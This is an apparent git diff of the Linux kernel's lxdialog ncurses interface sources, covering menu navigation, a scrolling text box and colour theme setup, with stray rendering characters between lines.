{
|
||||
int x = width / 2 - 28;
|
||||
int y = height - 2;
|
||||
|
||||
print_button(win, gettext("Select"), y, x, selected == 0);
|
||||
print_button(win, gettext(" Exit "), y, x + 12, selected == 1);
|
||||
print_button(win, gettext(" Help "), y, x + 24, selected == 2);
|
||||
print_button(win, gettext(" Save "), y, x + 36, selected == 3);
|
||||
print_button(win, gettext(" Load "), y, x + 48, selected == 4);
|
||||
|
||||
wmove(win, y, x + 1 + 12 * selected);
|
||||
wrefresh(win);
|
||||
}
|
||||
|
||||
/* scroll up n lines (n may be negative) */
|
||||
static void do_scroll(WINDOW *win, int *scroll, int n)
|
||||
{
|
||||
/* Scroll menu up */
|
||||
scrollok(win, TRUE);
|
||||
wscrl(win, n);
|
||||
scrollok(win, FALSE);
|
||||
*scroll = *scroll + n;
|
||||
wrefresh(win);
|
||||
}
|
||||
|
||||
/*
|
||||
* Display a menu for choosing among a number of options
|
||||
*/
|
||||
int dialog_menu(const char *title, const char *prompt,
|
||||
const void *selected, int *s_scroll)
|
||||
{
|
||||
int i, j, x, y, box_x, box_y;
|
||||
int height, width, menu_height;
|
||||
int key = 0, button = 0, scroll = 0, choice = 0;
|
||||
int first_item = 0, max_choice;
|
||||
WINDOW *dialog, *menu;
|
||||
|
||||
do_resize:
|
||||
height = getmaxy(stdscr);
|
||||
width = getmaxx(stdscr);
|
||||
if (height < MENUBOX_HEIGTH_MIN || width < MENUBOX_WIDTH_MIN)
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
|
||||
height -= 4;
|
||||
width -= 5;
|
||||
menu_height = height - 10;
|
||||
|
||||
max_choice = MIN(menu_height, item_count());
|
||||
|
||||
/* center dialog box on screen */
|
||||
x = (getmaxx(stdscr) - width) / 2;
|
||||
y = (getmaxy(stdscr) - height) / 2;
|
||||
|
||||
draw_shadow(stdscr, y, x, height, width);
|
||||
|
||||
dialog = newwin(height, width, y, x);
|
||||
keypad(dialog, TRUE);
|
||||
|
||||
draw_box(dialog, 0, 0, height, width,
|
||||
dlg.dialog.atr, dlg.border.atr);
|
||||
wattrset(dialog, dlg.border.atr);
|
||||
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
|
||||
for (i = 0; i < width - 2; i++)
|
||||
waddch(dialog, ACS_HLINE);
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
wbkgdset(dialog, dlg.dialog.atr & A_COLOR);
|
||||
waddch(dialog, ACS_RTEE);
|
||||
|
||||
print_title(dialog, title, width);
|
||||
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
print_autowrap(dialog, prompt, width - 2, 1, 3);
|
||||
|
||||
menu_width = width - 6;
|
||||
box_y = height - menu_height - 5;
|
||||
box_x = (width - menu_width) / 2 - 1;
|
||||
|
||||
/* create new window for the menu */
|
||||
menu = subwin(dialog, menu_height, menu_width,
|
||||
y + box_y + 1, x + box_x + 1);
|
||||
keypad(menu, TRUE);
|
||||
|
||||
/* draw a box around the menu items */
|
||||
draw_box(dialog, box_y, box_x, menu_height + 2, menu_width + 2,
|
||||
dlg.menubox_border.atr, dlg.menubox.atr);
|
||||
|
||||
if (menu_width >= 80)
|
||||
item_x = (menu_width - 70) / 2;
|
||||
else
|
||||
item_x = 4;
|
||||
|
||||
/* Set choice to default item */
|
||||
item_foreach()
|
||||
if (selected && (selected == item_data()))
|
||||
choice = item_n();
|
||||
/* get the saved scroll info */
|
||||
scroll = *s_scroll;
|
||||
if ((scroll <= choice) && (scroll + max_choice > choice) &&
|
||||
(scroll >= 0) && (scroll + max_choice <= item_count())) {
|
||||
first_item = scroll;
|
||||
choice = choice - scroll;
|
||||
} else {
|
||||
scroll = 0;
|
||||
}
|
||||
if ((choice >= max_choice)) {
|
||||
if (choice >= item_count() - max_choice / 2)
|
||||
scroll = first_item = item_count() - max_choice;
|
||||
else
|
||||
scroll = first_item = choice - max_choice / 2;
|
||||
choice = choice - scroll;
|
||||
}
|
||||
|
||||
/* Print the menu */
|
||||
for (i = 0; i < max_choice; i++) {
|
||||
print_item(first_item + i, i, i == choice);
|
||||
}
|
||||
|
||||
wnoutrefresh(menu);
|
||||
|
||||
print_arrows(dialog, item_count(), scroll,
|
||||
box_y, box_x + item_x + 1, menu_height);
|
||||
|
||||
print_buttons(dialog, height, width, 0);
|
||||
wmove(menu, choice, item_x + 1);
|
||||
wrefresh(menu);
|
||||
|
||||
while (key != KEY_ESC) {
|
||||
key = wgetch(menu);
|
||||
|
||||
if (key < 256 && isalpha(key))
|
||||
key = tolower(key);
|
||||
|
||||
if (strchr("ynmh ", key))
|
||||
i = max_choice;
|
||||
else {
|
||||
for (i = choice + 1; i < max_choice; i++) {
|
||||
item_set(scroll + i);
|
||||
j = first_alpha(item_str(), "YyNnMmHh");
|
||||
if (key == tolower(item_str()[j]))
|
||||
break;
|
||||
}
|
||||
if (i == max_choice)
|
||||
for (i = 0; i < max_choice; i++) {
|
||||
item_set(scroll + i);
|
||||
j = first_alpha(item_str(), "YyNnMmHh");
|
||||
if (key == tolower(item_str()[j]))
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (item_count() != 0 &&
|
||||
(i < max_choice ||
|
||||
key == KEY_UP || key == KEY_DOWN ||
|
||||
key == '-' || key == '+' ||
|
||||
key == KEY_PPAGE || key == KEY_NPAGE)) {
|
||||
/* Remove highligt of current item */
|
||||
print_item(scroll + choice, choice, FALSE);
|
||||
|
||||
if (key == KEY_UP || key == '-') {
|
||||
if (choice < 2 && scroll) {
|
||||
/* Scroll menu down */
|
||||
do_scroll(menu, &scroll, -1);
|
||||
|
||||
print_item(scroll, 0, FALSE);
|
||||
} else
|
||||
choice = MAX(choice - 1, 0);
|
||||
|
||||
} else if (key == KEY_DOWN || key == '+') {
|
||||
print_item(scroll+choice, choice, FALSE);
|
||||
|
||||
if ((choice > max_choice - 3) &&
|
||||
(scroll + max_choice < item_count())) {
|
||||
/* Scroll menu up */
|
||||
do_scroll(menu, &scroll, 1);
|
||||
|
||||
print_item(scroll+max_choice - 1,
|
||||
max_choice - 1, FALSE);
|
||||
} else
|
||||
choice = MIN(choice + 1, max_choice - 1);
|
||||
|
||||
} else if (key == KEY_PPAGE) {
|
||||
scrollok(menu, TRUE);
|
||||
for (i = 0; (i < max_choice); i++) {
|
||||
if (scroll > 0) {
|
||||
do_scroll(menu, &scroll, -1);
|
||||
print_item(scroll, 0, FALSE);
|
||||
} else {
|
||||
if (choice > 0)
|
||||
choice--;
|
||||
}
|
||||
}
|
||||
|
||||
} else if (key == KEY_NPAGE) {
|
||||
for (i = 0; (i < max_choice); i++) {
|
||||
if (scroll + max_choice < item_count()) {
|
||||
do_scroll(menu, &scroll, 1);
|
||||
print_item(scroll+max_choice-1,
|
||||
max_choice - 1, FALSE);
|
||||
} else {
|
||||
if (choice + 1 < max_choice)
|
||||
choice++;
|
||||
}
|
||||
}
|
||||
} else
|
||||
choice = i;
|
||||
|
||||
print_item(scroll + choice, choice, TRUE);
|
||||
|
||||
print_arrows(dialog, item_count(), scroll,
|
||||
box_y, box_x + item_x + 1, menu_height);
|
||||
|
||||
wnoutrefresh(dialog);
|
||||
wrefresh(menu);
|
||||
|
||||
continue; /* wait for another key press */
|
||||
}
|
||||
|
||||
switch (key) {
|
||||
case KEY_LEFT:
|
||||
case TAB:
|
||||
case KEY_RIGHT:
|
||||
button = ((key == KEY_LEFT ? --button : ++button) < 0)
|
||||
? 4 : (button > 4 ? 0 : button);
|
||||
|
||||
print_buttons(dialog, height, width, button);
|
||||
wrefresh(menu);
|
||||
break;
|
||||
case ' ':
|
||||
case 's':
|
||||
case 'y':
|
||||
case 'n':
|
||||
case 'm':
|
||||
case '/':
|
||||
case 'h':
|
||||
case '?':
|
||||
case 'z':
|
||||
case '\n':
|
||||
/* save scroll info */
|
||||
*s_scroll = scroll;
|
||||
delwin(menu);
|
||||
delwin(dialog);
|
||||
item_set(scroll + choice);
|
||||
item_set_selected(1);
|
||||
switch (key) {
|
||||
case 'h':
|
||||
case '?':
|
||||
return 2;
|
||||
case 's':
|
||||
case 'y':
|
||||
return 5;
|
||||
case 'n':
|
||||
return 6;
|
||||
case 'm':
|
||||
return 7;
|
||||
case ' ':
|
||||
return 8;
|
||||
case '/':
|
||||
return 9;
|
||||
case 'z':
|
||||
return 10;
|
||||
case '\n':
|
||||
return button;
|
||||
}
|
||||
return 0;
|
||||
case 'e':
|
||||
case 'x':
|
||||
key = KEY_ESC;
|
||||
break;
|
||||
case KEY_ESC:
|
||||
key = on_key_esc(menu);
|
||||
break;
|
||||
case KEY_RESIZE:
|
||||
on_key_resize();
|
||||
delwin(menu);
|
||||
delwin(dialog);
|
||||
goto do_resize;
|
||||
}
|
||||
}
|
||||
delwin(menu);
|
||||
delwin(dialog);
|
||||
return key; /* ESC pressed */
|
||||
}
|
@ -0,0 +1,408 @@
|
||||
/*
|
||||
* textbox.c -- implements the text box
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
static void back_lines(int n);
|
||||
static void print_page(WINDOW *win, int height, int width, update_text_fn
|
||||
update_text, void *data);
|
||||
static void print_line(WINDOW *win, int row, int width);
|
||||
static char *get_line(void);
|
||||
static void print_position(WINDOW * win);
|
||||
|
||||
static int hscroll;
|
||||
static int begin_reached, end_reached, page_length;
|
||||
static char *buf;
|
||||
static char *page;
|
||||
|
||||
/*
|
||||
* refresh window content
|
||||
*/
|
||||
static void refresh_text_box(WINDOW *dialog, WINDOW *box, int boxh, int boxw,
|
||||
int cur_y, int cur_x, update_text_fn update_text,
|
||||
void *data)
|
||||
{
|
||||
print_page(box, boxh, boxw, update_text, data);
|
||||
print_position(dialog);
|
||||
wmove(dialog, cur_y, cur_x); /* Restore cursor position */
|
||||
wrefresh(dialog);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Display text from a file in a dialog box.
|
||||
*
|
||||
* keys is a null-terminated array
|
||||
* update_text() may not add or remove any '\n' or '\0' in tbuf
|
||||
*/
|
||||
int dialog_textbox(const char *title, char *tbuf, int initial_height,
|
||||
int initial_width, int *keys, int *_vscroll, int *_hscroll,
|
||||
update_text_fn update_text, void *data)
|
||||
{
|
||||
int i, x, y, cur_x, cur_y, key = 0;
|
||||
int height, width, boxh, boxw;
|
||||
WINDOW *dialog, *box;
|
||||
bool done = false;
|
||||
|
||||
begin_reached = 1;
|
||||
end_reached = 0;
|
||||
page_length = 0;
|
||||
hscroll = 0;
|
||||
buf = tbuf;
|
||||
page = buf; /* page is pointer to start of page to be displayed */
|
||||
|
||||
if (_vscroll && *_vscroll) {
|
||||
begin_reached = 0;
|
||||
|
||||
for (i = 0; i < *_vscroll; i++)
|
||||
get_line();
|
||||
}
|
||||
if (_hscroll)
|
||||
hscroll = *_hscroll;
|
||||
|
||||
do_resize:
|
||||
getmaxyx(stdscr, height, width);
|
||||
if (height < TEXTBOX_HEIGTH_MIN || width < TEXTBOX_WIDTH_MIN)
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
if (initial_height != 0)
|
||||
height = initial_height;
|
||||
else
|
||||
if (height > 4)
|
||||
height -= 4;
|
||||
else
|
||||
height = 0;
|
||||
if (initial_width != 0)
|
||||
width = initial_width;
|
||||
else
|
||||
if (width > 5)
|
||||
width -= 5;
|
||||
else
|
||||
width = 0;
|
||||
|
||||
/* center dialog box on screen */
|
||||
x = (getmaxx(stdscr) - width) / 2;
|
||||
y = (getmaxy(stdscr) - height) / 2;
|
||||
|
||||
draw_shadow(stdscr, y, x, height, width);
|
||||
|
||||
dialog = newwin(height, width, y, x);
|
||||
keypad(dialog, TRUE);
|
||||
|
||||
/* Create window for box region, used for scrolling text */
|
||||
boxh = height - 4;
|
||||
boxw = width - 2;
|
||||
box = subwin(dialog, boxh, boxw, y + 1, x + 1);
|
||||
wattrset(box, dlg.dialog.atr);
|
||||
wbkgdset(box, dlg.dialog.atr & A_COLOR);
|
||||
|
||||
keypad(box, TRUE);
|
||||
|
||||
/* register the new window, along with its borders */
|
||||
draw_box(dialog, 0, 0, height, width,
|
||||
dlg.dialog.atr, dlg.border.atr);
|
||||
|
||||
wattrset(dialog, dlg.border.atr);
|
||||
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
|
||||
for (i = 0; i < width - 2; i++)
|
||||
waddch(dialog, ACS_HLINE);
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
wbkgdset(dialog, dlg.dialog.atr & A_COLOR);
|
||||
waddch(dialog, ACS_RTEE);
|
||||
|
||||
print_title(dialog, title, width);
|
||||
|
||||
print_button(dialog, gettext(" Exit "), height - 2, width / 2 - 4, TRUE);
|
||||
wnoutrefresh(dialog);
|
||||
getyx(dialog, cur_y, cur_x); /* Save cursor position */
|
||||
|
||||
/* Print first page of text */
|
||||
attr_clear(box, boxh, boxw, dlg.dialog.atr);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y, cur_x, update_text,
|
||||
data);
|
||||
|
||||
while (!done) {
|
||||
key = wgetch(dialog);
|
||||
switch (key) {
|
||||
case 'E': /* Exit */
|
||||
case 'e':
|
||||
case 'X':
|
||||
case 'x':
|
||||
case 'q':
|
||||
case '\n':
|
||||
done = true;
|
||||
break;
|
||||
case 'g': /* First page */
|
||||
case KEY_HOME:
|
||||
if (!begin_reached) {
|
||||
begin_reached = 1;
|
||||
page = buf;
|
||||
refresh_text_box(dialog, box, boxh, boxw,
|
||||
cur_y, cur_x, update_text,
|
||||
data);
|
||||
}
|
||||
break;
|
||||
case 'G': /* Last page */
|
||||
case KEY_END:
|
||||
|
||||
end_reached = 1;
|
||||
/* point to last char in buf */
|
||||
page = buf + strlen(buf);
|
||||
back_lines(boxh);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case 'K': /* Previous line */
|
||||
case 'k':
|
||||
case KEY_UP:
|
||||
if (begin_reached)
|
||||
break;
|
||||
|
||||
back_lines(page_length + 1);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case 'B': /* Previous page */
|
||||
case 'b':
|
||||
case 'u':
|
||||
case KEY_PPAGE:
|
||||
if (begin_reached)
|
||||
break;
|
||||
back_lines(page_length + boxh);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case 'J': /* Next line */
|
||||
case 'j':
|
||||
case KEY_DOWN:
|
||||
if (end_reached)
|
||||
break;
|
||||
|
||||
back_lines(page_length - 1);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case KEY_NPAGE: /* Next page */
|
||||
case ' ':
|
||||
case 'd':
|
||||
if (end_reached)
|
||||
break;
|
||||
|
||||
begin_reached = 0;
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case '0': /* Beginning of line */
|
||||
case 'H': /* Scroll left */
|
||||
case 'h':
|
||||
case KEY_LEFT:
|
||||
if (hscroll <= 0)
|
||||
break;
|
||||
|
||||
if (key == '0')
|
||||
hscroll = 0;
|
||||
else
|
||||
hscroll--;
|
||||
/* Reprint current page to scroll horizontally */
|
||||
back_lines(page_length);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case 'L': /* Scroll right */
|
||||
case 'l':
|
||||
case KEY_RIGHT:
|
||||
if (hscroll >= MAX_LEN)
|
||||
break;
|
||||
hscroll++;
|
||||
/* Reprint current page to scroll horizontally */
|
||||
back_lines(page_length);
|
||||
refresh_text_box(dialog, box, boxh, boxw, cur_y,
|
||||
cur_x, update_text, data);
|
||||
break;
|
||||
case KEY_ESC:
|
||||
if (on_key_esc(dialog) == KEY_ESC)
|
||||
done = true;
|
||||
break;
|
||||
case KEY_RESIZE:
|
||||
back_lines(height);
|
||||
delwin(box);
|
||||
delwin(dialog);
|
||||
on_key_resize();
|
||||
goto do_resize;
|
||||
default:
|
||||
for (i = 0; keys[i]; i++) {
|
||||
if (key == keys[i]) {
|
||||
done = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
delwin(box);
|
||||
delwin(dialog);
|
||||
if (_vscroll) {
|
||||
const char *s;
|
||||
|
||||
s = buf;
|
||||
*_vscroll = 0;
|
||||
back_lines(page_length);
|
||||
while (s < page && (s = strchr(s, '\n'))) {
|
||||
(*_vscroll)++;
|
||||
s++;
|
||||
}
|
||||
}
|
||||
if (_hscroll)
|
||||
*_hscroll = hscroll;
|
||||
return key;
|
||||
}
|
||||
|
||||
/*
|
||||
* Go back 'n' lines in text. Called by dialog_textbox().
|
||||
* 'page' will be updated to point to the desired line in 'buf'.
|
||||
*/
|
||||
static void back_lines(int n)
|
||||
{
|
||||
int i;
|
||||
|
||||
begin_reached = 0;
|
||||
/* Go back 'n' lines */
|
||||
for (i = 0; i < n; i++) {
|
||||
if (*page == '\0') {
|
||||
if (end_reached) {
|
||||
end_reached = 0;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (page == buf) {
|
||||
begin_reached = 1;
|
||||
return;
|
||||
}
|
||||
page--;
|
||||
do {
|
||||
if (page == buf) {
|
||||
begin_reached = 1;
|
||||
return;
|
||||
}
|
||||
page--;
|
||||
} while (*page != '\n');
|
||||
page++;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Print a new page of text.
|
||||
*/
|
||||
static void print_page(WINDOW *win, int height, int width, update_text_fn
|
||||
update_text, void *data)
|
||||
{
|
||||
int i, passed_end = 0;
|
||||
|
||||
if (update_text) {
|
||||
char *end;
|
||||
|
||||
for (i = 0; i < height; i++)
|
||||
get_line();
|
||||
end = page;
|
||||
back_lines(height);
|
||||
update_text(buf, page - buf, end - buf, data);
|
||||
}
|
||||
|
||||
page_length = 0;
|
||||
for (i = 0; i < height; i++) {
|
||||
print_line(win, i, width);
|
||||
if (!passed_end)
|
||||
page_length++;
|
||||
if (end_reached && !passed_end)
|
||||
passed_end = 1;
|
||||
}
|
||||
wnoutrefresh(win);
|
||||
}
|
||||
|
||||
/*
|
||||
* Print a new line of text.
|
||||
*/
|
||||
static void print_line(WINDOW * win, int row, int width)
|
||||
{
|
||||
char *line;
|
||||
|
||||
line = get_line();
|
||||
line += MIN(strlen(line), hscroll); /* Scroll horizontally */
|
||||
wmove(win, row, 0); /* move cursor to correct line */
|
||||
waddch(win, ' ');
|
||||
waddnstr(win, line, MIN(strlen(line), width - 2));
|
||||
|
||||
/* Clear 'residue' of previous line */
|
||||
#if OLD_NCURSES
|
||||
{
|
||||
int x = getcurx(win);
|
||||
int i;
|
||||
for (i = 0; i < width - x; i++)
|
||||
waddch(win, ' ');
|
||||
}
|
||||
#else
|
||||
wclrtoeol(win);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*
|
||||
* Return current line of text. Called by dialog_textbox() and print_line().
|
||||
* 'page' should point to start of current line before calling, and will be
|
||||
* updated to point to start of next line.
|
||||
*/
|
||||
static char *get_line(void)
|
||||
{
|
||||
int i = 0;
|
||||
static char line[MAX_LEN + 1];
|
||||
|
||||
end_reached = 0;
|
||||
while (*page != '\n') {
|
||||
if (*page == '\0') {
|
||||
end_reached = 1;
|
||||
break;
|
||||
} else if (i < MAX_LEN)
|
||||
line[i++] = *(page++);
|
||||
else {
|
||||
/* Truncate lines longer than MAX_LEN characters */
|
||||
if (i == MAX_LEN)
|
||||
line[i++] = '\0';
|
||||
page++;
|
||||
}
|
||||
}
|
||||
if (i <= MAX_LEN)
|
||||
line[i] = '\0';
|
||||
if (!end_reached)
|
||||
page++; /* move past '\n' */
|
||||
|
||||
return line;
|
||||
}
|
||||
|
||||
/*
|
||||
* Print current position
|
||||
*/
|
||||
static void print_position(WINDOW * win)
|
||||
{
|
||||
int percent;
|
||||
|
||||
wattrset(win, dlg.position_indicator.atr);
|
||||
wbkgdset(win, dlg.position_indicator.atr & A_COLOR);
|
||||
percent = (page - buf) * 100 / strlen(buf);
|
||||
wmove(win, getmaxy(win) - 3, getmaxx(win) - 9);
|
||||
wprintw(win, "(%3d%%)", percent);
|
||||
}
|
@ -0,0 +1,713 @@
|
||||
/*
|
||||
* util.c
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
/* Needed in signal handler in mconf.c */
|
||||
int saved_x, saved_y;
|
||||
|
||||
struct dialog_info dlg;
|
||||
|
||||
static void set_mono_theme(void)
|
||||
{
|
||||
dlg.screen.atr = A_NORMAL;
|
||||
dlg.shadow.atr = A_NORMAL;
|
||||
dlg.dialog.atr = A_NORMAL;
|
||||
dlg.title.atr = A_BOLD;
|
||||
dlg.border.atr = A_NORMAL;
|
||||
dlg.button_active.atr = A_REVERSE;
|
||||
dlg.button_inactive.atr = A_DIM;
|
||||
dlg.button_key_active.atr = A_REVERSE;
|
||||
dlg.button_key_inactive.atr = A_BOLD;
|
||||
dlg.button_label_active.atr = A_REVERSE;
|
||||
dlg.button_label_inactive.atr = A_NORMAL;
|
||||
dlg.inputbox.atr = A_NORMAL;
|
||||
dlg.inputbox_border.atr = A_NORMAL;
|
||||
dlg.searchbox.atr = A_NORMAL;
|
||||
dlg.searchbox_title.atr = A_BOLD;
|
||||
dlg.searchbox_border.atr = A_NORMAL;
|
||||
dlg.position_indicator.atr = A_BOLD;
|
||||
dlg.menubox.atr = A_NORMAL;
|
||||
dlg.menubox_border.atr = A_NORMAL;
|
||||
dlg.item.atr = A_NORMAL;
|
||||
dlg.item_selected.atr = A_REVERSE;
|
||||
dlg.tag.atr = A_BOLD;
|
||||
dlg.tag_selected.atr = A_REVERSE;
|
||||
dlg.tag_key.atr = A_BOLD;
|
||||
dlg.tag_key_selected.atr = A_REVERSE;
|
||||
dlg.check.atr = A_BOLD;
|
||||
dlg.check_selected.atr = A_REVERSE;
|
||||
dlg.uarrow.atr = A_BOLD;
|
||||
dlg.darrow.atr = A_BOLD;
|
||||
}
|
||||
|
||||
#define DLG_COLOR(dialog, f, b, h) \
|
||||
do { \
|
||||
dlg.dialog.fg = (f); \
|
||||
dlg.dialog.bg = (b); \
|
||||
dlg.dialog.hl = (h); \
|
||||
} while (0)
|
||||
|
||||
static void set_classic_theme(void)
|
||||
{
|
||||
DLG_COLOR(screen, COLOR_CYAN, COLOR_BLUE, true);
|
||||
DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, true);
|
||||
DLG_COLOR(dialog, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(title, COLOR_YELLOW, COLOR_WHITE, true);
|
||||
DLG_COLOR(border, COLOR_WHITE, COLOR_WHITE, true);
|
||||
DLG_COLOR(button_active, COLOR_WHITE, COLOR_BLUE, true);
|
||||
DLG_COLOR(button_inactive, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(button_key_active, COLOR_WHITE, COLOR_BLUE, true);
|
||||
DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_WHITE, false);
|
||||
DLG_COLOR(button_label_active, COLOR_YELLOW, COLOR_BLUE, true);
|
||||
DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_WHITE, true);
|
||||
DLG_COLOR(inputbox, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(inputbox_border, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(searchbox, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_WHITE, true);
|
||||
DLG_COLOR(searchbox_border, COLOR_WHITE, COLOR_WHITE, true);
|
||||
DLG_COLOR(position_indicator, COLOR_YELLOW, COLOR_WHITE, true);
|
||||
DLG_COLOR(menubox, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(menubox_border, COLOR_WHITE, COLOR_WHITE, true);
|
||||
DLG_COLOR(item, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(item_selected, COLOR_WHITE, COLOR_BLUE, true);
|
||||
DLG_COLOR(tag, COLOR_YELLOW, COLOR_WHITE, true);
|
||||
DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_BLUE, true);
|
||||
DLG_COLOR(tag_key, COLOR_YELLOW, COLOR_WHITE, true);
|
||||
DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_BLUE, true);
|
||||
DLG_COLOR(check, COLOR_BLACK, COLOR_WHITE, false);
|
||||
DLG_COLOR(check_selected, COLOR_WHITE, COLOR_BLUE, true);
|
||||
DLG_COLOR(uarrow, COLOR_GREEN, COLOR_WHITE, true);
|
||||
DLG_COLOR(darrow, COLOR_GREEN, COLOR_WHITE, true);
|
||||
}
|
||||
|
||||
static void set_blackbg_theme(void)
|
||||
{
|
||||
DLG_COLOR(screen, COLOR_RED, COLOR_BLACK, true);
|
||||
DLG_COLOR(shadow, COLOR_BLACK, COLOR_BLACK, false);
|
||||
DLG_COLOR(dialog, COLOR_WHITE, COLOR_BLACK, false);
|
||||
DLG_COLOR(title, COLOR_RED, COLOR_BLACK, false);
|
||||
DLG_COLOR(border, COLOR_BLACK, COLOR_BLACK, true);
|
||||
|
||||
DLG_COLOR(button_active, COLOR_YELLOW, COLOR_RED, false);
|
||||
DLG_COLOR(button_inactive, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_RED, true);
|
||||
DLG_COLOR(button_key_inactive, COLOR_RED, COLOR_BLACK, false);
|
||||
DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_RED, false);
|
||||
DLG_COLOR(button_label_inactive, COLOR_BLACK, COLOR_BLACK, true);
|
||||
|
||||
DLG_COLOR(inputbox, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
DLG_COLOR(inputbox_border, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
|
||||
DLG_COLOR(searchbox, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
DLG_COLOR(searchbox_title, COLOR_YELLOW, COLOR_BLACK, true);
|
||||
DLG_COLOR(searchbox_border, COLOR_BLACK, COLOR_BLACK, true);
|
||||
|
||||
DLG_COLOR(position_indicator, COLOR_RED, COLOR_BLACK, false);
|
||||
|
||||
DLG_COLOR(menubox, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
DLG_COLOR(menubox_border, COLOR_BLACK, COLOR_BLACK, true);
|
||||
|
||||
DLG_COLOR(item, COLOR_WHITE, COLOR_BLACK, false);
|
||||
DLG_COLOR(item_selected, COLOR_WHITE, COLOR_RED, false);
|
||||
|
||||
DLG_COLOR(tag, COLOR_RED, COLOR_BLACK, false);
|
||||
DLG_COLOR(tag_selected, COLOR_YELLOW, COLOR_RED, true);
|
||||
DLG_COLOR(tag_key, COLOR_RED, COLOR_BLACK, false);
|
||||
DLG_COLOR(tag_key_selected, COLOR_YELLOW, COLOR_RED, true);
|
||||
|
||||
DLG_COLOR(check, COLOR_YELLOW, COLOR_BLACK, false);
|
||||
DLG_COLOR(check_selected, COLOR_YELLOW, COLOR_RED, true);
|
||||
|
||||
DLG_COLOR(uarrow, COLOR_RED, COLOR_BLACK, false);
|
||||
DLG_COLOR(darrow, COLOR_RED, COLOR_BLACK, false);
|
||||
}
|
||||
|
||||
static void set_bluetitle_theme(void)
|
||||
{
|
||||
set_classic_theme();
|
||||
DLG_COLOR(title, COLOR_BLUE, COLOR_WHITE, true);
|
||||
DLG_COLOR(button_key_active, COLOR_YELLOW, COLOR_BLUE, true);
|
||||
DLG_COLOR(button_label_active, COLOR_WHITE, COLOR_BLUE, true);
|
||||
DLG_COLOR(searchbox_title, COLOR_BLUE, COLOR_WHITE, true);
|
||||
DLG_COLOR(position_indicator, COLOR_BLUE, COLOR_WHITE, true);
|
||||
DLG_COLOR(tag, COLOR_BLUE, COLOR_WHITE, true);
|
||||
DLG_COLOR(tag_key, COLOR_BLUE, COLOR_WHITE, true);
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
